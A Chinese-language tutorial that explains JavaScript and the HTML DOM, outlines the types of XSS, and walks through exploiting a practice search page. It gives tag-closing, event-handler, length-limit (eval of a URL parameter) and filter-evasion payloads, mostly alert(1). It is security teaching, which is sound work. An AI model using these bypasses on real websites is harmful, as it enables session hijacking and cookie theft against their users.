知識儲備

Javascript

Javascript 是屬于 HTML 和 Web 的編程語言。
Javascript 能夠改變 HTML 內(nèi)容。
案例：
Javascript 能夠改變 HTML 屬性
本例通過改變 <img> 標(biāo)簽的 src 屬性（source）來改變一張 HTML 圖像：

Javascript HTML DOM

通過 HTML DOM，Javascript 能夠訪問和改變 HTML 文檔的所有元素。
HTML DOM（文檔對象模型）
當(dāng)網(wǎng)頁被加載時，瀏覽器會創(chuàng)建頁面的文檔對象模型（Document Object Model）。
HTML DOM 模型被結(jié)構(gòu)化為對象樹：
對象的 HTML DOM 樹

通過這個對象模型，Javascript 獲得創(chuàng)建動態(tài) HTML 的所有力量：

• Javascript 能改變頁面中的所有 HTML 元素

• Javascript 能改變頁面中的所有 HTML 屬性

• Javascript 能改變頁面中的所有 CSS 樣式

• Javascript 能刪除已有的 HTML 元素和屬性

• Javascript 能添加新的 HTML 元素和屬性

• Javascript 能對頁面中所有已有的 HTML 事件作出反應(yīng)

• Javascript 能在頁面中創(chuàng)建新的 HTML 事件

HTML DOM 是 HTML 的標(biāo)準(zhǔn)對象模型和編程接口,它定義了：

• 作為對象的 HTML 元素

• 所有 HTML 元素的屬性

• 訪問所有 HTML 元素的方法

• 所有 HTML 元素的事件

換言之：HTML DOM 是關(guān)于如何獲取、更改、添加或刪除 HTML 元素的標(biāo)準(zhǔn)。

HTML DOM Event 對象

HTML DOM Document 對象

HTML DOM Element 對象

HTML DOM Attribute 對象

HTML DOM Event 對象

其它前端知識

學(xué)無止境

xss漏洞簡介

• 跨站腳本（Cross-Site scripting，XSS）是一種經(jīng)常出現(xiàn)在Web應(yīng)用程序中的計算機安全漏洞，是由于Web應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的。

• 攻擊者利用網(wǎng)站漏洞把惡意的腳本代碼（通常包括HTML代碼和客戶端Javascript腳本）注入到網(wǎng)頁之中，當(dāng)其他用戶瀏覽這些網(wǎng)頁時，就會執(zhí)行其中的惡意代碼，對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。

• 由于和另一種網(wǎng)頁技術(shù)——層疊樣式表（Cascading Style Sheets，CSS）的縮寫一樣，為了防止混淆，故把原本的CSS簡稱為XSS。通常情況下，我們既可以把跨站腳本理解成一種Web安全漏洞，也可以理解成一種攻擊手段。

• XSS跨站腳本攻擊本身對Web服務(wù)器沒有直接危害，它借助網(wǎng)站進(jìn)行傳播，使網(wǎng)站的大量用戶受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個精心構(gòu)造的惡意URL，當(dāng)受害者在Web瀏覽器中打開該URL的時侯，惡意腳本會在受害者的計算機上悄悄執(zhí)行，其流程如圖所示：

• 

未便于理解進(jìn)行了分類歸納：

• 反射型XSS（也叫非持久型XSS）

  1	發(fā)出請求時，XSS代碼出現(xiàn)在URL中，作為輸入提交到服務(wù)端，服務(wù)端解析后響應(yīng)，在響應(yīng)內(nèi)容中出現(xiàn)這段XSS代碼，最后瀏覽器解析執(zhí)行。這個過程就像一次反射，故稱為反射型XSS。

• 存儲型XSS（也叫持久型XSS）

  1	存儲型XSS和反射型XSS的差別僅在于：提交的XSS代碼會存儲在服務(wù)端（不管是數(shù)據(jù)庫、內(nèi)存還是文件系統(tǒng)等），下次請求目標(biāo)頁面時不用再提交XSS代碼。

• DOM XSS

  1	DOM XSS的XSS代碼并不需要服務(wù)器解析響應(yīng)的直接參與，觸發(fā)XSS靠的就是瀏覽器端的DOM解析，可以認(rèn)為完全是客戶端的事情。

  常見危害例舉
  掛馬

• 盜取用戶Cookie

• DoS（拒絕服務(wù)）客戶端瀏覽器

• 釣魚攻擊，高級釣魚技巧

• 編寫針對性的XSS病毒

• 刪除目標(biāo)文章

• 惡意篡改數(shù)據(jù)、嫁禍、“借刀殺人”

• 劫持用戶Web行為，甚至進(jìn)一步滲透內(nèi)網(wǎng)

• 蠕蟲攻擊

• 蠕蟲式掛馬攻擊、刷廣告、刷流量、破壞網(wǎng)上數(shù)據(jù)......

  實戰(zhàn)

  通過案例進(jìn)行講解

  利用本地存儲功能

  在使用搜索功能時發(fā)現(xiàn)信息存在"駐留"現(xiàn)象

  

• 打開瀏覽器調(diào)試工具分析
  元素

  

  
  

查看js代碼

• 輸入js語句進(jìn)行xss測試

  1	<script>alert("xss測試")</script>

  

• 搜索執(zhí)行查看
  再次搜索成功調(diào)用并按js執(zhí)行了所輸入內(nèi)容

  

簡單閉合標(biāo)簽逃逸

發(fā)現(xiàn)輸入的數(shù)據(jù)有駐留但在標(biāo)簽內(nèi)

• 查看js

  

  1 2 3 4 5 6 7 8 9 10 11

  $('.search-ipt').on('input',function () {   if ($('.search-ipt').val()==''){       $('.history').css('display','none')   }   else {       $('.history').css('display','block')   }   let val = $('.search-ipt').val()   $('.history').html('<a href="/?search='+val+'">暫無搜索結(jié)果</a>') }) 發(fā)現(xiàn)取內(nèi)容放在<a標(biāo)簽內(nèi)

  
  

• 輸入測試

  

  
  

• 輸入特殊字符閉合標(biāo)簽
  閉合成功，輸入內(nèi)容以js代碼形式執(zhí)行

  

  
  

分析：
輸入"> 閉合了標(biāo)簽<a 并使之后的數(shù)據(jù)可不在標(biāo)簽內(nèi)顯示

添加事件進(jìn)行逃逸

正常測試，查看元素

• 查看js

  

  1 2 3 4 5 6 7 8 9 10 11 12

  $('.url-btn').click(function () {           let val = $('.search-ipt').val()           if (val == '') {               $('.url-box').css('display', 'none')           } else {               val =  val.toLocaleLowerCase().replace(/script/g,'').replace(/</g,'').replace(/>/g,'')               $('.url-box').css('display', 'block')               $('.url-box').html('<span style="padding-left: 2px">生成的鏈接為：<a class="url" href="'+val+'">'+val+'</a></span>')           }       }   ) 發(fā)現(xiàn)將數(shù)據(jù)存儲在<a標(biāo)簽href屬性內(nèi)

  
  

• 閉合并添加事件

  

  
  分析：
  需閉合標(biāo)簽并逃逸herf屬性

  1 2	<a> 標(biāo)簽的 href 屬性用于指定超鏈接目標(biāo)的 URL。 href 屬性的值可以是任何有效文檔的相對或絕對 URL，包括片段標(biāo)識符和 Javascript 代碼段。如果用戶選擇了 <a> 標(biāo)簽中的內(nèi)容，那么瀏覽器會嘗試檢索并顯示 href 屬性指定的 URL 所表示的文檔，或者執(zhí)行 Javascript 表達(dá)式、方法和函數(shù)的列表。

  HTML DOM Event 對象

  1	Event 對象代表事件的狀態(tài)，比如事件在其中發(fā)生的元素、鍵盤按鍵的狀態(tài)、鼠標(biāo)的位置、鼠標(biāo)按鈕的狀態(tài)。

  事件句柄　(Event Handlers)

  1	HTML 4.0 的新特性之一是能夠使 HTML 事件觸發(fā)瀏覽器中的行為，比如當(dāng)用戶點擊某個 HTML 元素時啟動一段 Javascript。下面是一個屬性列表，可將之插入 HTML 標(biāo)簽以定義事件的行為。

  

  
  事件通常與函數(shù)結(jié)合使用，函數(shù)不會在事件發(fā)生前被執(zhí)行！
  onmouseover 事件會在鼠標(biāo)指針移動到指定的對象上時發(fā)生

  1 2 3 4 5 6 7

  支持該事件的 HTML 標(biāo)簽： <a>, <address>, <area>, <b>, <bdo>, <big>, <blockquote>, <body>, <button>, <caption>, <cite>, <code>, <dd>, <dfn>, <div>, <dl>, <dt>, <em>, <fieldset>, <form>, <h1> to <h6>, <hr>, <i>, <img>, <input>, <kbd>, <label>, <legend>, <li>, <map>, <ol>, <p>, <sub>, <sup>, <table>, <tbody>, <td>, <textarea>, <tfoot>, <th>, <thead>, <tr>, <tt>, <ul>, <var>

  

  
  

打破長度

• 輸入測試

  1	"><script>alert(1)</script>

  

  
  測試發(fā)現(xiàn)輸入內(nèi)容被過濾
  換測試代碼

  1	" onclick="alert(1)

  

  
  未過濾但未成功閉合

• 查看代碼

  
  事件沒有完全閉合后面(多了:content）
  *"閉合測試
  

  
  

• 深入測試

  

  發(fā)現(xiàn)對代碼輸入的長度進(jìn)行了限制

  
  

• 分析前端代碼

  

  1 2 3 4

  let query = getParam('query')||'' if (query){ query=query.replace(/<|>|script/g,'').substring(0, 33) 看到使用了query參數(shù)，其值為getParam('query')

  
  

• getparam()函數(shù)分析

  

  1 2 3 4 5 6

  function getParam(name) { if (location.search!=''){ let param = new URLSearchParams(location.search) return decodeURI(param.get(name)) } 若鏈接中存在參數(shù)，則創(chuàng)建一個對象，值為所有參數(shù)，name對應(yīng)參數(shù)名

  
  

• 測試

  1	"%20onclick="eval(getParam(Test))"&Test=其它代碼

  

  成功引用。已打破輸入長度限制

  
  

拼接繞過

• 測試

  1	"" onclonclickick="alert(1)"

  

  被過濾，發(fā)現(xiàn)onclick被過濾成立空字符

  
  

• 拼接

  1	"" onclonclickick="alert(1)"

  過濾一個在加一個

  

  測試成功。